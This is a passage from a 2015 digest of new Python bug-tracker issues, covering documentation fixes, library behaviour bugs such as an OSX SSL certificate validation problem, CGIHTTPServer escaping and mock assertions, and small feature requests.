Notice: the last pattern now explicitly includes the anchors: (^[0-9]{4}$), which is factually duplicate with the anchors that already exist at the beginning and end of the entire regular expression!

This work around correctly produces no match (which is the behaviour I expected from the first pattern).

----------
components: Regular Expressions
messages: 246756
nosy: Almer Tigelaar, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: re.search not respecting anchor markers in or-ed construction
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24636>
_______________________________________

From report at bugs.python.org  Wed Jul 15 15:23:06 2015
From: report at bugs.python.org (Matthew Keeter)
Date: Wed, 15 Jul 2015 13:23:06 +0000
Subject: [New-bugs-announce] [issue24637] locals dictionary in PyRun_String
Message-ID: <1436966586.07.0.0153968460371.issue24637@psf.upfronthosting.co.za>


New submission from Matthew Keeter:

The C API docs for PyRun_StringFlags, PyEval_EvalCodeEx, and PyEval_EvalCode say that globals and locals both must be dictionaries.  However, digging into the source [1] shows that locals can be any object implementing the mapping protocol.  Furthermore, the Python docs for eval and exec (which end up taking the same path) match the implementation, saying that locals can be any mapping object (which has been true since 2.4).

The attached patch changes the C API docs to reflect the Python docs (and the actual implementation).  No new tests are required, as test_general_eval [2] already checks that an arbitrary mapping object can be used as the locals variable in exec.

[1] https://github.com/python/cpython/blob/master/Objects/frameobject.c#L628-L629
[2] https://github.com/python/cpython/blob/master/Lib/test/test_builtin.py#L473

----------
assignee: docs at python
components: Documentation
files: locals.patch
keywords: patch
messages: 246761
nosy: Matthew Keeter, docs at python
priority: normal
severity: normal
status: open
title: locals dictionary in PyRun_String
type: enhancement
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39929/locals.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24637>
_______________________________________

From report at bugs.python.org  Wed Jul 15 15:39:50 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 15 Jul 2015 13:39:50 +0000
Subject: [New-bugs-announce] [issue24638] asyncio "loop argument must agree
 with future" error message could be improved
Message-ID: <1436967590.12.0.584324642332.issue24638@psf.upfronthosting.co.za>


New submission from R. David Murray:

I just got the titular error message and had no idea what it meant until I looked at the source.  It seems to mean "the specified loop is different from the _loop attribute of the future-or-coroutine".  Since _loop is nominally private, perhaps the message could be "the future or coroutine belongs to a different loop than the one specified as the loop argument".

----------
messages: 246763
nosy: r.david.murray
priority: normal
severity: normal
status: open
title: asyncio "loop argument must agree with future" error message could be improved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24638>
_______________________________________

From report at bugs.python.org  Wed Jul 15 15:40:19 2015
From: report at bugs.python.org (Ruth Berkow)
Date: Wed, 15 Jul 2015 13:40:19 +0000
Subject: [New-bugs-announce] [issue24639] Documentation: broken link on
	unittest page
Message-ID: <1436967619.28.0.696001000901.issue24639@psf.upfronthosting.co.za>


New submission from Ruth Berkow:

The documentation for unittest, in the "See also" box contains a link for "Simple Smalltalk Testing: With Patterns" that leads to a 404. Replacing this with a working link seems like a good idea; may I suggest http://live.exept.de/doc/online/english/tools/misc/testfram.htm

----------
assignee: docs at python
components: Documentation
messages: 246764
nosy: Ruth Berkow, docs at python
priority: normal
severity: normal
status: open
title: Documentation: broken link on unittest page
type: performance
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24639>
_______________________________________

From report at bugs.python.org  Wed Jul 15 22:36:31 2015
From: report at bugs.python.org (Chris Krycho)
Date: Wed, 15 Jul 2015 20:36:31 +0000
Subject: [New-bugs-announce] [issue24640] no ensurepip in embedded Windows
	distribution
Message-ID: <1436992591.69.0.374487494039.issue24640@psf.upfronthosting.co.za>


New submission from Chris Krycho:

There is no `ensurepip` module bundled with the embedded distribution of Python 3.5 for Windows:

    Z:\python-3.5.0b3-embed> .\python -m ensurepip --upgrade
    Z:\python-3.5.0b3-embed\python.exe: No module named ensurepip

This may be the *intent*, but I haven't been able to find any documentation to that effect in the [docs](https://docs.python.org/3.5/library/ensurepip.html). It looks like it should either be included with the distribution or noted as excluded in the docs. (I can readily submit a patch to the latter if it needs doing.)

(Background: I'm looking at various ways to bundle up and ship a Python application, and as part of that am looking at just shipping the embedded Python distribution, which may end up being the most straightforward for us. One of the things I'm still sorting out is the best to get and bundle up dependencies if that's the approach we take.)

----------
components: Installation
messages: 246775
nosy: chriskrycho, dstufft, ncoghlan, steve.dower
priority: normal
severity: normal
status: open
title: no ensurepip in embedded Windows distribution
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24640>
_______________________________________

From report at bugs.python.org  Wed Jul 15 22:49:32 2015
From: report at bugs.python.org (Madison May)
Date: Wed, 15 Jul 2015 20:49:32 +0000
Subject: [New-bugs-announce] [issue24641] Log type of unserializable value
 when raising JSON TypeError
Message-ID: <1436993372.93.0.482029912936.issue24641@psf.upfronthosting.co.za>


New submission from Madison May:

Currently the json lib only logs the string representation of the variable, which does not always include type information.

I recently ran into a difficult to debug issue with code similar to the following:

```
import json
import numpy as np
d = {'data': np.int16(5)}
json.dumps(d)
```

which produces the following error:

```
TypeError: 5 is not JSON serializable
```

It took us quite a while to determine that `5` was actually of type `np.int` instead of the native type.

A cursory glance at StackOverflow suggests that I'm not alone in running into this issue: http://stackoverflow.com/questions/10872604/json-dump-throwing-typeerror-is-not-json-serializable-on-seemingly-vali


I'd like to consider modifying the error message to be more similar to the following:

```
TypeError: 5 of type `numpy.int16` is not JSON serializable
```

----------
components: Library (Lib)
messages: 246776
nosy: Madison May
priority: normal
severity: normal
status: open
title: Log type of unserializable value when raising JSON TypeError
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24641>
_______________________________________

From report at bugs.python.org  Thu Jul 16 10:43:49 2015
From: report at bugs.python.org (Alex Walters)
Date: Thu, 16 Jul 2015 08:43:49 +0000
Subject: [New-bugs-announce] [issue24642] Will there be an MSI installer?
Message-ID: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za>


New submission from Alex Walters:

I use the *.msi installers for python to automate deployment of... an absurd number of python installations.  I have been able to do this relatively easily, as the Windows installer didn't change much between 2.6 and 3.4 (possibly much longer than that, but I don't know about 2.5 or earlier).

3.5 added a new installer (the web installer), and apparently dropped the old standby *.msi installers, for the beta versions.

Will there be *.msi installers for 3.5?

----------
components: Windows
messages: 246796
nosy: paul.moore, steve.dower, tim.golden, tritium, zach.ware
priority: normal
severity: normal
status: open
title: Will there be an MSI installer?
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24642>
_______________________________________

From report at bugs.python.org  Thu Jul 16 15:51:20 2015
From: report at bugs.python.org (James Salter)
Date: Thu, 16 Jul 2015 13:51:20 +0000
Subject: [New-bugs-announce] [issue24643] VS 2015 pyconfig.h #define
 timezone _timezone conflicts with timeb.h
Message-ID: <1437054680.06.0.553712434946.issue24643@psf.upfronthosting.co.za>


New submission from James Salter:

For python 3.5, PC/pyconfig.h contains the following for vs2015 support:

/* VS 2015 defines these names with a leading underscore */
#if _MSC_VER >= 1900
#define timezone _timezone
#define daylight _daylight
#define tzname _tzname
#endif

This breaks any python extension code that includes pyconfig.h and then defines any function or variable called 'timezone', 'daylight', or 'tzname'.

My breaking case is a conflict with <ucrt/sys/timeb.h> from the Windows 10 kit (for me: c:\program files (x86)\Windows Kits\10\include\10.0.10056.0\ucrt\sys\timeb.h). This is used during compilation of gevent, which includes that file via libev/ev_win32.c. timeb.h contains this innocent structure:

struct __timeb32
{
    __time32_t     time;
    unsigned short millitm;
    short          timezone;
    short          dstflag;
};

I think we need a different approach that doesn't conflict with common english variable names and in particular other windows SDK includes.

----------
components: Extension Modules
messages: 246803
nosy: James Salter
priority: normal
severity: normal
status: open
title: VS 2015 pyconfig.h #define timezone _timezone conflicts with timeb.h
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24643>
_______________________________________

From report at bugs.python.org  Thu Jul 16 18:30:57 2015
From: report at bugs.python.org (Antony Lee)
Date: Thu, 16 Jul 2015 16:30:57 +0000
Subject: [New-bugs-announce] [issue24644] --help for runnable stdlib modules
Message-ID: <1437064257.55.0.10829517472.issue24644@psf.upfronthosting.co.za>


New submission from Antony Lee:

Support for python -m<runnable-stdlib-module> [-h|--help] is a bit patchy right now:

$ python -mpdb -h
usage: pdb.py [-c command] ... pyfile [arg] ...
<help elided>

$ python -mpdb --help
Traceback (most recent call last):
  File "/usr/lib/python3.4/runpy.py", line 170, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.4/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.4/pdb.py", line 1685, in <module>
    pdb.main()
  File "/usr/lib/python3.4/pdb.py", line 1629, in main
    opts, args = getopt.getopt(sys.argv[1:], 'hc:', ['--help', '--command='])
  File "/usr/lib/python3.4/getopt.py", line 93, in getopt
    opts, args = do_longs(opts, args[0][2:], longopts, args[1:])
  File "/usr/lib/python3.4/getopt.py", line 157, in do_longs
    has_arg, opt = long_has_args(opt, longopts)
  File "/usr/lib/python3.4/getopt.py", line 174, in long_has_args
    raise GetoptError(_('option --%s not recognized') % opt, opt)
getopt.GetoptError: option --help not recognized
# <-- not a getopt specialist but --help is actually listed in the call to getopt!

$ python -mtrace -h
/usr/lib/python3.4/trace.py: option -h not recognized
Try `/usr/lib/python3.4/trace.py --help' for more information

$ python -mtrace --help
Usage: /usr/lib/python3.4/trace.py [OPTIONS] <file> [ARGS]
<help elided>

----------
components: Library (Lib)
messages: 246808
nosy: Antony.Lee
priority: normal
severity: normal
status: open
title: --help for runnable stdlib modules
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24644>
_______________________________________

From report at bugs.python.org  Thu Jul 16 21:03:19 2015
From: report at bugs.python.org (Justin Bronder)
Date: Thu, 16 Jul 2015 19:03:19 +0000
Subject: [New-bugs-announce] [issue24645] logging.handlers.QueueHandler
 should not lock when handling a record
Message-ID: <1437073399.79.0.290504971433.issue24645@psf.upfronthosting.co.za>


New submission from Justin Bronder:

The Queue backing the QueueHandler is already sufficiently locking for thread-safety.

This isn't a huge issue, but the QueueHandler is a very nice built-in which could be used to work around a deadlock I've encountered several times.  In brief, functions which can cause other threads to log being called from either __repr__() or __str__().

----------
components: Library (Lib)
files: queue-handler-no-lock.patch
keywords: patch
messages: 246812
nosy: jsbronder
priority: normal
severity: normal
status: open
title: logging.handlers.QueueHandler should not lock when handling a record
versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39935/queue-handler-no-lock.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24645>
_______________________________________

From report at bugs.python.org  Thu Jul 16 21:04:33 2015
From: report at bugs.python.org (Jussi Pakkanen)
Date: Thu, 16 Jul 2015 19:04:33 +0000
Subject: [New-bugs-announce] [issue24646] Python accepts SSL certificate
 that should be rejected on OSX
Message-ID: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>


New submission from Jussi Pakkanen:

Create a dummy certificate and build an ssl context like this:

ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.verify_mode = ssl.CERT_REQUIRED
ctx.load_verify_locations(cadata=dummy_certificate)

Then try to connect to a public service like this:

u = urllib.request.urlopen('https://www.google.com', context=ctx)
data = u.read()

Python will validate the server certificate even though it should reject it. Attached is a script to demonstrate this.

This happens with Python 3.4.3 on OSX 10.10.4. Running the same script in Ubuntu raises a certificate rejection exception as expected.

----------
components: Library (Lib)
files: sslbug.py
messages: 246813
nosy: jpakkane
priority: normal
severity: normal
status: open
title: Python accepts SSL certificate that should be rejected on OSX
type: security
versions: Python 3.4
Added file: http://bugs.python.org/file39936/sslbug.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24646>
_______________________________________

From report at bugs.python.org  Thu Jul 16 22:47:25 2015
From: report at bugs.python.org (Antony Lee)
Date: Thu, 16 Jul 2015 20:47:25 +0000
Subject: [New-bugs-announce] [issue24647] Document argparse.REMAINDER as
	being equal to "..."
Message-ID: <1437079645.1.0.921184801927.issue24647@psf.upfronthosting.co.za>


New submission from Antony Lee:

Currently the argparse docs mention the special values "+", "*" and "?" by their actual values instead of argparse.{ONE_OR_MORE,ZERO_OR_MORE,OPTIONAL}, but argparse.REMAINDER is mentioned as is.  It seems easier to just use its actual value ("...") in the docs as well.

----------
components: Library (Lib)
messages: 246824
nosy: Antony.Lee
priority: normal
severity: normal
status: open
title: Document argparse.REMAINDER as being equal to "..."
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24647>
_______________________________________

From report at bugs.python.org  Thu Jul 16 22:58:44 2015
From: report at bugs.python.org (Mark Shannon)
Date: Thu, 16 Jul 2015 20:58:44 +0000
Subject: [New-bugs-announce] [issue24648] Allocation of values array in
 split dicts should use small object allocator.
Message-ID: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za>


New submission from Mark Shannon:

Issue 23601 advocates using the small object allocator for dict-keys objects and the results of tests are good.

Using the small object allocator for dict value-arrays as well seems like the obvious next step.

----------
components: Interpreter Core
keywords: easy
messages: 246828
nosy: Mark.Shannon
priority: low
severity: normal
stage: needs patch
status: open
title: Allocation of values array in split dicts should use small object allocator.
type: performance
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24648>
_______________________________________

From report at bugs.python.org  Fri Jul 17 00:43:05 2015
From: report at bugs.python.org (Antony Lee)
Date: Thu, 16 Jul 2015 22:43:05 +0000
Subject: [New-bugs-announce] [issue24649] python -mtrace --help is wrong
Message-ID: <1437086585.22.0.878051480873.issue24649@psf.upfronthosting.co.za>


New submission from Antony Lee:

While working on #24644, I noticed that the help for python -mtrace is quite wrong.

$ python -mtrace --help
Usage: /usr/lib/python3.4/trace.py [OPTIONS] <file> [ARGS]

Meta-options:
--help                Display this help then exit.
--version             Output version information then exit.

Otherwise, exactly one of the following three options must be given:
-t, --trace           Print each line to sys.stdout before it is executed.
-c, --count           Count the number of times each line is executed
                      and write the counts to <module>.cover for each
                      module executed, in the module's directory.
                      See also `--coverdir', `--file', `--no-report' below.
-l, --listfuncs       Keep track of which functions are executed at least
                      once and write the results to sys.stdout after the
                      program exits.
-T, --trackcalls      Keep track of caller/called pairs and write the
                      results to sys.stdout after the program exits.
-r, --report          Generate a report from a counts file; do not execute
                      any code.  `--file' must specify the results file to
                      read, which must have been created in a previous run
                      with `--count --file=FILE'.

<elided modifier flags>

1. Obviously, there are more than 3 options there.
2. Simple testing suggests that it is at least possible to pass both -t and -c simultaneously.  I haven't tested other combinations.

----------
components: Library (Lib)
messages: 246834
nosy: Antony.Lee
priority: normal
severity: normal
status: open
title: python -mtrace --help is wrong
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24649>
_______________________________________

From report at bugs.python.org  Fri Jul 17 08:53:39 2015
From: report at bugs.python.org (swanson)
Date: Fri, 17 Jul 2015 06:53:39 +0000
Subject: [New-bugs-announce] [issue24650] Error in yield expression
	documentation
Message-ID: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za>


New submission from swanson:

https://docs.python.org/3/reference/expressions.html

in
6.2.9. Yield expressions

end of 1st paragraph:

"Using a yield expression in a function?s body causes that function to be a generator."

NO!

As the very next sentence explains, a generator is what's returned by such a function, not the function itself.

Basically, it should be sufficient to add the word "function" to the end of that sentence: "... generator function."  However, this error does NOT exist in 3.0 to 3.2 - just in 3.3 to 3.6, so I suggest just using the same wording as 3.0 to 3.2:

"Using a yield expression in a function definition is sufficient to cause that definition to create a generator function instead of a normal function."

----------
assignee: docs at python
components: Documentation
messages: 246841
nosy: docs at python, swanson
priority: normal
severity: normal
status: open
title: Error in yield expression documentation
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24650>
_______________________________________

From report at bugs.python.org  Fri Jul 17 09:56:00 2015
From: report at bugs.python.org (Robert Collins)
Date: Fri, 17 Jul 2015 07:56:00 +0000
Subject: [New-bugs-announce] [issue24651] Mock.assert* API is in user
	namespace
Message-ID: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>


New submission from Robert Collins:

We had a discussion on the list sparked by the assret checking, and in it I proposed that the API would be cleaner if the asserts were module functions.

e.g. rather than::

 a_mock.assert_called_with(Foo)


 assert_called_with(a_mock, Foo)

Michael has objected to this saying that the current structure is part of mock's success - but I'm filing this since a number of other core devs seemed to really like the idea. We can discuss here and if the consensus is that it wouldn't be an improvement - thats fine. OTOH if the consensus is that it is an improvement, this can serve as a memo to someone to implement the new API.

----------
components: Library (Lib)
messages: 246846
nosy: rbcollins
priority: normal
severity: normal
status: open
title: Mock.assert* API is in user namespace
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24651>
_______________________________________

From report at bugs.python.org  Fri Jul 17 10:10:49 2015
From: report at bugs.python.org (Justin Huang)
Date: Fri, 17 Jul 2015 08:10:49 +0000
Subject: [New-bugs-announce] [issue24652] C-API Pure Embedding enhancement
Message-ID: <1437120649.64.0.570799865816.issue24652@psf.upfronthosting.co.za>


New submission from Justin Huang:

>From the example in here:

    https://docs.python.org/2/extending/embedding.html#pure-embedding

when directly using the example (compiling and trying with external file etc.) it doesn't work right away. Instead an extra line:

    PySys_SetArgv(argc, argv);

must be added to get it to work.

----------
messages: 246847
nosy: Justin Huang
priority: normal
severity: normal
status: open
title: C-API Pure Embedding enhancement
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24652>
_______________________________________

From report at bugs.python.org  Fri Jul 17 11:40:04 2015
From: report at bugs.python.org (Robert Collins)
Date: Fri, 17 Jul 2015 09:40:04 +0000
Subject: [New-bugs-announce] [issue24653] Mock.assert_has_calls([])
	incorrectly passes
Message-ID: <1437126004.09.0.453747784975.issue24653@psf.upfronthosting.co.za>


New submission from Robert Collins:

>From https://github.com/testing-cabal/mock/issues/243

from unittest import mock
mmock = mock.MagicMock()
mmock.foobar("baz")
mmock.assert_has_calls([])  # No exception raised. Why?mmock.assert_has_calls(['x'])  # Exception raised as expected.

---

Traceback (most recent call last):
  File "tt.py", line 7, in <module>
    mmock.assert_has_calls(['x'])  # Exception raised as expected.
  File "/home/robertc/work/cpython/Lib/unittest/mock.py", line 824, in assert_has_calls
    ) from cause
AssertionError: Calls not found.
Expected: ['x']
Actual: [call.foobar('baz')]

----------
messages: 246849
nosy: rbcollins
priority: normal
severity: normal
status: open
title: Mock.assert_has_calls([]) incorrectly passes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24653>
_______________________________________

From report at bugs.python.org  Fri Jul 17 16:47:12 2015
From: report at bugs.python.org (Marcin Szewczyk)
Date: Fri, 17 Jul 2015 14:47:12 +0000
Subject: [New-bugs-announce] [issue24654] PEP 492 - example benchmark
	doesn't work (TypeError)
Message-ID: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za>


New submission from Marcin Szewczyk:

Using benchmark from the section https://www.python.org/dev/peps/pep-0492/#async-await raises:
Traceback (most recent call last):
  File "./bench.py", line 28, in <module>
    timeit(abinary, 19, 30)
  File "./bench.py", line 23, in timeit
    list(gen(depth))
TypeError: 'coroutine' object is not iterable

Am I missing something or is a correction needed in code or documentation?

BTW, PEP 492 uses the term "plain generator", but unlike "generator-based coroutine" or "native coroutine" it's not defined in section https://www.python.org/dev/peps/pep-0492/#glossary. I think adding a definition would be beneficial.

----------
assignee: docs at python
components: Documentation, asyncio
messages: 246856
nosy: docs at python, gvanrossum, haypo, wodny, yselivanov
priority: normal
severity: normal
status: open
title: PEP 492 - example benchmark doesn't work (TypeError)
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24654>
_______________________________________

From report at bugs.python.org  Sat Jul 18 00:32:24 2015
From: report at bugs.python.org (Brian Cain)
Date: Fri, 17 Jul 2015 22:32:24 +0000
Subject: [New-bugs-announce] [issue24655] _ssl.c: Missing "do" for do {}
	while(0) idiom
Message-ID: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za>


New submission from Brian Cain:

_ssl.c has a "convert()" macro which misuses the "do { ... } while(0)" pattern by accidentally omitting the "do".

This was discovered when building with clang, it reports "while loop has empty body".  Effectively, convert puts the body into gratuitous scope braces and happens to be followed by a "while(0);".  If convert() were used in some context where it weren't followed by a semicolon, it might do something terribly interesting.  Or, more likely, just fail to build.

----------
components: Extension Modules
files: ssl_convert.patch
keywords: patch
messages: 246868
nosy: Brian.Cain
priority: normal
severity: normal
status: open
title: _ssl.c: Missing "do" for do {} while(0) idiom
versions: Python 3.6
Added file: http://bugs.python.org/file39938/ssl_convert.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24655>
_______________________________________

From report at bugs.python.org  Sat Jul 18 02:48:04 2015
From: report at bugs.python.org (Ethan Furman)
Date: Sat, 18 Jul 2015 00:48:04 +0000
Subject: [New-bugs-announce] [issue24656] remove "assret" from mock error
	checking
Message-ID: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za>


New submission from Ethan Furman:

Per Nick's suggestion here is the patch to remove the "assret" check, but leave the "assert" check in place.

As Terry summarized:
> 1. It is false that 'assret' is necessarily a typo. Someone might quite
> legitimately use it as an attribute. Aside from the fact that it might be an
> *intentional* misspelling to avoid a clash with 'assert', I found the following
> on Google.
>   a. It appears to be both a (person) name (Turkey?) and a username.
>   b. It can be a contraction, abbreviation, or pair of acronym: ass-et
>      ret-ention, ass-istant ret-ired (?), and something in connection with
>      high-pressure oil lines.  Python usage is not restricted to English-
>      speaking geeks.
>
> 2. It gives the impression that 'assret' is a legitimate alias for 'assert'.
> See https://stackoverflow.com/questions/31382895/any-core-real-reference-to-assret-as-alias-to-assert
>
> If the doc is revised to counter this impression, then I predict that this will
> join the list of Python warts and reasons to ridicule Python.
>
> 3. It violates Python design principles. To many, the beauty of Python is that
> it is relatively clean and simple, and not filled with hundreds of nitpicky
> exceptions and special cases.

----------
files: remove_assret.stoneleaf.01.patch
keywords: patch
messages: 246873
nosy: ethan.furman, michael.foord
priority: normal
severity: normal
status: open
title: remove "assret" from mock error checking
versions: Python 3.5
Added file: http://bugs.python.org/file39939/remove_assret.stoneleaf.01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24656>
_______________________________________

From report at bugs.python.org  Sat Jul 18 04:49:36 2015
From: report at bugs.python.org (takayuki)
Date: Sat, 18 Jul 2015 02:49:36 +0000
Subject: [New-bugs-announce] [issue24657] CGIHTTPServer module discard
 continuous '/' letters from params given by GET method.
Message-ID: <1437187776.37.0.855244973055.issue24657@psf.upfronthosting.co.za>


New submission from takayuki:

I executed CGIHTTPServer and requested the following URI,
"http://localhost:8000/cgi-bin/test.py?k=aa%2F%2Fbb"
to pass "aa//bb" as argument "k",
but test.py received "aa/bb".

I looked in CGIHTTPServer.py and found _url_collapse_path function
discards continuous slash letters even they are in the given parameters.

----------
components: Library (Lib)
messages: 246877
nosy: takayuki
priority: normal
severity: normal
status: open
title: CGIHTTPServer module discard continuous '/' letters from params given by GET method.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24657>
_______________________________________

From report at bugs.python.org  Sat Jul 18 04:59:28 2015
From: report at bugs.python.org (Eric O. LEBIGOT)
Date: Sat, 18 Jul 2015 02:59:28 +0000
Subject: [New-bugs-announce] [issue24658] open().write() fails on 4 GB+ data
	(OS X)
Message-ID: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>


New submission from Eric O. LEBIGOT:

On OS X, the Homebrew and MacPorts versions of Python 3.4.3 raise an exception when writing a 4 GB bytearray:

>>> open('/dev/null', 'wb').write(bytearray(2**31-1))
2147483647

>>> open('/dev/null', 'wb').write(bytearray(2**31))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 22] Invalid argument

This has an impact on pickle, in particular (http://stackoverflow.com/questions/31468117/python-3-can-pickle-handle-byte-objects-larger-than-4gb).

----------
components: Interpreter Core
messages: 246878
nosy: lebigot
priority: normal
severity: normal
status: open
title: open().write() fails on 4 GB+ data (OS X)
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24658>
_______________________________________

From report at bugs.python.org  Sat Jul 18 10:55:00 2015
From: report at bugs.python.org (Christian Barcenas)
Date: Sat, 18 Jul 2015 08:55:00 +0000
Subject: [New-bugs-announce] [issue24659] dict() built-in fails on iterators
 with a "keys" attribute
Message-ID: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za>


New submission from Christian Barcenas:

I noticed an inconsistency today between the dict() documentation vs. implementation.

The documentation for the dict() built-in [1] states that the function accepts an optional positional argument that is either a mapping object [2] or an iterable object [3]. 

Consider the following:

    import collections.abc
    
    class MyIterable(object):
        def __init__(self):
            self._data = [('one', 1), ('two', 2)]
            
        def __iter__(self):
            return iter(self._data)
    
    class MyIterableWithKeysMethod(MyIterable):
        def keys(self):
            return "And now for something completely different"
    
    class MyIterableWithKeysAttribute(MyIterable):
        keys = "It's just a flesh wound!"
    
    assert issubclass(MyIterable, collections.abc.Iterable)
    assert issubclass(MyIterableWithKeysMethod, collections.abc.Iterable)
    assert issubclass(MyIterableWithKeysAttribute, collections.abc.Iterable)
    assert not issubclass(MyIterable, collections.abc.Mapping)
    assert not issubclass(MyIterableWithKeysMethod, collections.abc.Mapping)
    assert not issubclass(MyIterableWithKeysAttribute, collections.abc.Mapping)
    
    # OK
    assert dict(MyIterable()) == {'one': 1, 'two': 2}

    # Traceback (most recent call last):
    #   File "<stdin>", line 1, in <module>
    # TypeError: 'MyIterableWithKeysMethod' object is not subscriptable
    assert dict(MyIterableWithKeysMethod()) == {'one': 1, 'two': 2}

    # Traceback (most recent call last):
    # File "<stdin>", line 1, in <module>
    # TypeError: attribute of type 'str' is not callable
    assert dict(MyIterableWithKeysAttribute()) == {'one': 1, 'two': 2}

The last two assertions should not fail, and it appears that the offending code can be found in Objects/dictobject.c's dict_update_common:

    else if (arg != NULL) {
        _Py_IDENTIFIER(keys);
        if (_PyObject_HasAttrId(arg, &PyId_keys))
            result = PyDict_Merge(self, arg, 1);
        else
            result = PyDict_MergeFromSeq2(self, arg, 1);
    }

PyDict_Merge is used to merge key-value pairs if the optional parameter is a mapping, and PyDict_MergeFromSeq2 is used if the parameter is an iterable.

My immediate thought was to substitute the _PyObject_HasAttrId call with PyMapping_Check which I believe would work in 2.7, but due to #5945 I don't think this fix would work in 3.x.

Thoughts?

[1] https://docs.python.org/3.6/library/stdtypes.html#dict
[2] https://docs.python.org/3.6/glossary.html#term-mapping
[3] https://docs.python.org/3.6/glossary.html#term-iterable

----------
assignee: docs at python
components: Documentation, Interpreter Core
messages: 246890
nosy: christian.barcenas, docs at python
priority: normal
severity: normal
status: open
title: dict() built-in fails on iterators with a "keys" attribute
type: behavior
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24659>
_______________________________________

From report at bugs.python.org  Sat Jul 18 14:00:50 2015
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Sat, 18 Jul 2015 12:00:50 +0000
Subject: [New-bugs-announce] [issue24660] Heapq + functools.partial :
	TypeError: unorderable types
Message-ID: <1437220850.78.0.931988105122.issue24660@psf.upfronthosting.co.za>


New submission from ???? ?????????:

>>> import heapq
>>> from functools import partial
>>> qwe = [(0, lambda x: 42), (0, lambda x: 56)]
>>> heapq.heapify(qwe)
>>>
>>> qwe = [(0, partial(lambda x: 42)), (0, partial(lambda x: 56))]
>>> heapq.heapify(qwe)
Traceback (most recent call last):
  File "/usr/lib/python3.4/code.py", line 90, in runcode
    exec(code, self.locals)
  File "<input>", line 1, in <module>
TypeError: unorderable types: functools.partial() < functools.partial()


So it is not realiable to use heapq if element of the array is (int, callable)

----------
components: Library (Lib)
messages: 246894
nosy: mmarkk
priority: normal
severity: normal
status: open
title: Heapq + functools.partial : TypeError: unorderable types
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24660>
_______________________________________

From report at bugs.python.org  Sat Jul 18 16:04:01 2015
From: report at bugs.python.org (John S)
Date: Sat, 18 Jul 2015 14:04:01 +0000
Subject: [New-bugs-announce] [issue24661] CGIHTTPServer: premature
	unescaping of query string
Message-ID: <1437228241.83.0.784813490758.issue24661@psf.upfronthosting.co.za>


New submission from John S:

I created a simple CGI script that outputs the query string passed to it:

```
#!/usr/bin/env python
import os
print 'Content-Type: text/html\n\n'
print os.environ['QUERY_STRING']
```
I saved it as cgi-bin/test.cgi and made it executable. I then ran `python -m CGIHTTPModule` and opened 
http://localhost:8000/cgi-bin/test.cgi?H%26M
in a web browser.

The output was H&M when it should have been H%26M

I tried with Python 2.7.5, 2.7.3 and 2.6.6 and they all correctly output H%26M.

The test.cgi file is attached.

----------
components: Library (Lib)
files: test.cgi
messages: 246900
nosy: johnseman
priority: normal
severity: normal
status: open
title: CGIHTTPServer: premature unescaping of query string
versions: Python 2.7
Added file: http://bugs.python.org/file39943/test.cgi

